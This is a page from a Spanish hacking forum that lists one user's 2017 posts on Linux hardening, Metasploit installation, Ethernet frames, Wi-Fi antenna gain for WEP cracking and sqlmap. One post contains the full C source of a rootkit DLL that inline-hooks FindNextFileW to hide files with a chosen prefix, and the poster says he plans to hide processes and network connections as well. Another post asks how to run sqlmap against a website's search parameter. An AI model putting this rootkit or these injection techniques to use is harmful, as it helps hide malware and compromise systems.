elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 [7] 8 9 10 11
61  Seguridad Informática / Seguridad / Distro de linux más segura para usar como servidor en: 23 Julio 2017, 06:35 am
Muy buenas! Estaba aprendiendo algunas cosas sobre hardening en linux y me gustaría saber para ustedes cuál es el mejor linux teniendo la seguridad como criterio principal, para utilizar como servidor (por ejemplo un servidor web). Se que lo más importante son las herramientas, reglas, políticas y configuraciones que cada uno haga, pero seguramente puedan recomendar alguna distro por X motivo... Por ejemplo esta mañana descargué Fedora y noté que ya viene con SELinux habilitado por defecto. Me gustaría tener un sistema Linux, cómodo, seguro, que tenga snort o algún buen NIDS, que tenga SELinux, iptables/netfilter.
62  Programación / Programación C/C++ / Error al compilar una DLL en: 10 Julio 2017, 23:01 pm
Muy buenas! Estaba investigando sobre DLL injection y quería compilar una DLL en la que se hace api hooking a la system call que lista archivos. Estoy trabajando en Windows 7 x64 con CodeBlocks y el compilador mingw que viene incluido con el IDE. La DLL que quiero compilar la obtuve de éste sitio:

https://losindestructibles.wordpress.com/2012/10/15/creacion-de-rootkit-desde-cero/

Es la siguiente:

Código
  1. #include "StdAfx.h"
  2. #include <windows.h>
  3. #include <iostream>
  4. #include <cstdlib>
  5.  
  6.  
  7. // DECLARACIONES:
  8. BYTE *BufferFN;                 // Buffer que usaremos para ejecutar el api original FindNextFileW
  9. char Prefijo[] = "S7K";   // El prefijo que buscaremos para ocultar archivos/carpetas
  10.  
  11.  
  12. // FUNCIONES:
  13. void    Hookear();  // Función que hookeará el api
  14.  
  15.  
  16. // Función que será llamada en vez de FindNextFileW
  17. HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
  18. // Puntero a función con el cual llamaremos al api FindNextFileW original
  19. HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);
  20.  
  21.  
  22.  
  23.  
  24.  
  25. // FUNCIÓN MAIN
  26. bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
  27. {
  28. // Si cargan la DLL hookeamos
  29. if (fdwReason == DLL_PROCESS_ATTACH)
  30. {
  31. Hookear();
  32. }
  33. return TRUE;
  34. }
  35.  
  36.  
  37.  
  38. // FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
  39. HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
  40. {
  41. // Ocultamos los archivos que empiecen por el prefijo indicado
  42.  
  43. HANDLE hand;
  44. char ascStr[611];
  45.  
  46. do
  47. {
  48. hand = pBuffFN(hFindFile,lpFindFileData);
  49. WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);
  50.  
  51. }while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);
  52.  
  53. return hand;
  54. }
  55.  
  56.  
  57. // FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
  58. void Hookear()
  59. {
  60. DWORD ProteVieja;  // Parametro para VirtualProtect
  61. BYTE  *DirFN;      // La dirección en memoria de FindNextFileW
  62. BYTE  *DirYoFN;    // La dirección en memoria de la función que remplaza a FindNextFileW
  63.  
  64. // --> HOOKEAMOS FINDNEXTFILEW (7 bytes)
  65.  
  66. // Obtenemos la dirección en memoria de FindNextFileW.
  67. DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");
  68.  
  69. //Reservamos 12 bytes de memoria para nuestro Buffer
  70. //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
  71. BufferFN=(BYTE *) malloc (12);
  72.  
  73. //Le damos todos los permisos a los 12 bytes de nuestro Buffer
  74. VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);
  75.  
  76. // Copiamos los 7 primeros bytes del api en el buffer
  77. memcpy(BufferFN,DirFN,7);
  78. BufferFN += 7;
  79.  
  80. // En los 5 bytes restantes...
  81. // En el primero introducimos un jmp
  82. *BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
  83. BufferFN++;
  84.  
  85. // En los otros 4 la distancia del salto
  86. *((signed int *) BufferFN)= DirFN - BufferFN + 3;
  87.  
  88. // Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
  89. pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);
  90.  
  91. // Le damos todos los permisos a los 5 primeros bytes de la api original
  92. VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
  93.  
  94. // Cambiamos el tipo a puntero a byte para facilitar el trabajo
  95. DirYoFN=(BYTE *) miFindNextFileW;
  96.  
  97. // En el inicio de la api metemos un jmp para que salte a miFindNextFileW
  98. *DirFN=0xE9;
  99. DirFN++;
  100.  
  101. // Metemos la distancia del salto
  102. *((signed int *) DirFN)=DirYoFN - DirFN - 4;
  103. // Libermos librerias de cache
  104.        FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
  105. }
  106.  

Cuando quiero compilarla, el compilador devuelve el error:

undefined reference to `WinMain@16'

Build log:
Citar
D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.cpp: In function 'void Hookear()':
D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.cpp:104:56: warning: passing NULL to non-pointer argument 3 of 'BOOL FlushInstructionCache(HANDLE, PCVOID, DWORD)' [-Wconversion-null]
mingw32-g++.exe  -o "D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.exe" "D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.o"  
c:/program files (x86)/codeblocks/mingw/bin/../lib/gcc/mingw32/4.7.1/../../../libmingw32.a(main.o):main.c:(.text.startup+0xa7): undefined reference to `WinMain@16'
collect2.exe: error: ld returned 1 exit status
Process terminated with status 1 (0 minute(s), 0 second(s))
1 error(s), 1 warning(s) (0 minute(s), 0 second(s))

Imagen:


Quiero entender que estoy haciendo mal, ya que al googlear el error hay mucha gente a la que el compilador les devuelve el mismo error que el mio, pero porque tenían otros errores en su código como por ejemplo usar Main() con mayúscula, u otros, pero no se qué hacer en éste caso en particular... Espero poder compilar ésto asi luego mejoro la DLL para hacer api hooking a system calls que listen procesos y conexiones de red... Muchas gracias por su tiempo!
63  Sistemas Operativos / GNU/Linux / Re: Debian 4: Problemas de dependencias apt-get en: 2 Julio 2017, 23:59 pm
Buenas! Muchas gracias. Al final esa parte del problema la resolví agregando manualmente al usuario/grupo lpadmin en /etc/passwd, /etc/group y /etc/shadow. Luego los 2 paquetes se pudieron instalar satisfactoriamente... Luego quise instalar otras cosas necesarias, empezando x build-essential por ejemplo, y ahí si tenía otros errores de dependencias pero ahora estoy utilizando aptitude en lugar de apt-get y me parece que ahora si voy a poder instalar todo lo que necesito. Si surge algo actualizo éste mensaje. Saludos y gracias nuevamente
64  Sistemas Operativos / GNU/Linux / Debian 4: Problemas de dependencias apt-get en: 2 Julio 2017, 05:54 am
Que tal! Resulta que quería instalar metasploit en mi Debian 4.

Código
  1. cat /etc/issue
  2. Debian GNU/Linux 4.0 \n \l
  3.  
  4. uname -r
  5. 2.6.18-6-486
  6.  

Estaba siguiendo los pasos de éste enlace: https://fity666.wordpress.com/about/
que decía:

Citar
Lo primero sera instalar las dependencias de ruby las cuales son esenciales para su instalación

sudo apt-get install ruby libruby rdoc
sudo apt-get install libyaml-ruby
sudo apt-get install libzlib-ruby
sudo apt-get install libopenssl-ruby
sudo apt-get install libdl-ruby
sudo apt-get install libreadline-ruby
sudo apt-get install libiconv-ruby
sudo apt-get install rubygems *

apt-get install libgtk2-ruby libglade2-ruby

El paso siguiente es descargar metasploit desde su sitio oficial

http://www.metasploit.com/framework/download/

Cuanto empiezo por el primer comando:

Citar
apt-get install ruby libruby rdoc

Obtengo ésta salida:

Citar
apt-get install ruby libruby rdoc
Reading package lists...
Building dependency tree...
Reading state information...
ruby is already the newest version.
libruby is already the newest version.
rdoc is already the newest version.
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
2 not fully installed or removed.
After this operation, 0B of additional disk space will be used.
Setting up cupsys-client (1.2.7-4+etch9) ...
Adding group `lpadmin' (GID 110) ...
groupadd: unable to lock group file
addgroup: `/usr/sbin/groupadd -g 110 lpadmin' returned error code 10. Exiting.
dpkg: error processing cupsys-client (--configure):
 subprocess post-installation script returned error exit status 1
dpkg: dependency problems prevent configuration of cupsys-bsd:
 cupsys-bsd depends on cupsys-client (= 1.2.7-4+etch9); however:
  Package cupsys-client is not configured yet.
dpkg: error processing cupsys-bsd (--configure):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 cupsys-client
 cupsys-bsd
E: Sub-process /usr/bin/dpkg returned an error code (1)

Como ven, los paquetes de ruby que necesito para instalar metasploit no se pudieron instalar como corresponde. Tengo muchos problemas con el apt-get. Mi sources.list contiene lo siguiente:

Citar

Ya hice un apt-get update, y luego probé también apt-get upgrade y aquí obtengo problemas parecidos al que compartí aquí arriba...

Me gustaría que me dieran alguna idea para resolver mi problema. Si necesitan algo más de información, avisenme. Saludos y gracias!

65  Foros Generales / Sugerencias y dudas sobre el Foro / Como eliminar un thread del foro? en: 2 Julio 2017, 00:54 am
Que tal, tenía un problema pero ya lo resolví y quería eliminar la pregunta pero no encuentro la forma de hacerlo. Gracias
66  Seguridad Informática / Nivel Web / No entiendo como funciona éste tipo de parámetro en sitio web en: 2 Junio 2017, 23:43 pm
Miren como funciona éste buscador:

http://www.ejemplo.com//SEARCHED/ST=mi_busqueda/gbpws.aspx

Fijense donde resalté mi_busqueda, aquí está el valor del parametro que utiliza el buscador de éste sitio web de ejemplo. Hay varias cosas que no enteindo en ésta url, entre ello no entiendo por que hay dos barras '//' entre el .com y el SEARCHED. SEARCHED lo interpreto como un directorio dentro de la web, pero entre las dos '//', se me viene algo a la mente como un directorio fantasma, sin nombre, pero no entiendo como puede ser posible. Después, no entiendo que sería 'ST', lo lógico sería que fuera el nombre del parámetro, pero no entiendo por que está antes del archivo .aspx que sería el archivo de la página en si. Lo normal, y lo que veo dia a dia en todas las webs es que los parámetros estén después del nombre de la página seguido a un signo de interrogación '?'

Por ejemplo, yo estoy acostumbrado a que la página sea de éste modo:

http://www.ejemplo.com/SEARCHED/gbpws.aspx?ST=mi_busqueda

Me gustaría que me ayudaran a entender la naturaleza de este enlace y también saber como se podría inyectar a través de sqlmap a un parámetro como éste, ya que la opción -p ST no funciona en éste caso.

Saludos y gracias!
67  Comunicaciones / Redes / Re: Trama ethernet en: 28 Mayo 2017, 02:39 am
Creo que te entiendo! Es decir, el adaptador de red usa los bytes del preámbulo para identificar una nueva trama y el CRC para verificar que la trama sea válida, pero una vez identificado el inicio de la trama y verificado que dicha trama sea válida, no tiene ninguna necesidad de enviárselos al kernel, ya que éste trabajo es realizado por el adaptador y no por el kernel, entonces la aplicacion, el sniffer, como vos decis, que sería el espacio de usuario, cuando hace las system calls correspondientes, obtiene lo que le llego al kernel, ni más ni menos, x eso es que desde wireshark no se pueden visualizar dichos campos
68  Seguridad Informática / Hacking Wireless / Re: Sobre potencia de un adaptador (mW) y ganancia de una antena (dBi) en: 27 Mayo 2017, 11:15 am
Muchas gracias Sh4k4 por tu tiempo y tus explicaciones! :D
Quiero estar seguro de haberte entendido (descartemos todo tipo de factores como ser chipset, drivers, condiciones climáticas, obstáculos, otros dispositivos transmitiendo en la misma frecuencia, largo de cable, etc, y supongamos que todas las antenas son omnidireccionales):
Cuanta más potencia tenga más fuerte puedo hablar y cuanto más ganancia tenga mejor puedo escuchar.
Si un AP escucha poco pero yo tengo buena potencia, sus oidos pobres igual me van a escuchar, xq voy a estar hablando lo suficientemente fuerte como para que me escuche, y si un AP habla despacio pero yo tengo mucha ganancia lo podría llegar a escuchar igual porque tengo muy buenos oidos. Entonces para poder tener una buena comunicación debería tener buena potencia y buena ganancia, que sean equitativas entre si.

Si lo que digo es correcto, y entendí bien entonces puedo llegar a suponer que si tengo más ganancia podría llegar a detectar redes más lejanas, no hablo de poder comunicarme adecuadamente con esas redes, solo verlas, saber que estan, escucharlas, o recibir los beacon frames del AP, como lo queramos llamar... Y si tengo una buena potencia, voy a tener por ejemplo una buena inyección de paquetes, ya que estaría hablando fuerte (TOMA ESTE PAQUETE), y el AP seguramente me escuche aunque no tenga el mejor de los oidos... Despues (tomemos el ejemplo de crackear una WEP), si tengo por ejemplo buena potencia pero mala ganancia, los paquetes que inyecto, le llegarían bien al AP pero no estaría recibiendo correctamente los paqutes de respuesta con los ivs que necesito, a menos que el AP tenga muy buena potencia.

Espero haber entendido, obviamente mi interpretación puede estar errada, asi que me gustaría leer tu respuesta.

Gracias nuevamente por tu tiempo y ayuda! :D
69  Seguridad Informática / Hacking Wireless / Sobre potencia de un adaptador (mW) y ganancia de una antena (dBi) en: 27 Mayo 2017, 08:53 am
Qué tal! Ésta es una duda que tengo desde hace mucho. Se que la potencia es adherente al adaptador y la ganancia a la antena... Pero quiero saber que es exactamente lo que cambiaría al tener un adaptador con más potencia y/o una antena con más ganancia. Cuanto mayor es el número de ambas medidas, mayor sería la distancia máxima de las señales que puedo escuchar?

Y si por ejemplo tengo:
Un adaptador de 500mW y una antena de 18dBi
o
Un adaptador de 1000mW y una antena de 5dBi

estaría teniendo algo equivalente?

P.D: ya se que existen antenas direccionales y omnidireccionales, y que las direccionales intensifican la señal en una dirección especifica, y las omnidireccionales la distribuyen equitativamente en todas las direcciones.

Gracias por ayudarme a aclarar las dudas. Saludos!
70  Comunicaciones / Redes / Capturar trama ethernet completa en: 25 Mayo 2017, 10:05 am
Que tal, estuve capturando los paquetes que entran y salen de mi pc, y noté que en la sección de la trama ethernet solo figuran la MAC destino, origen y el ethertype, pero nunca veo el preámbulo, ni el CRC que según leí también forman parte de una trama ethernet. Quería saber por qué no me llegan dichos campos. Saludos
Páginas: 1 2 3 4 5 6 [7] 8 9 10 11
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines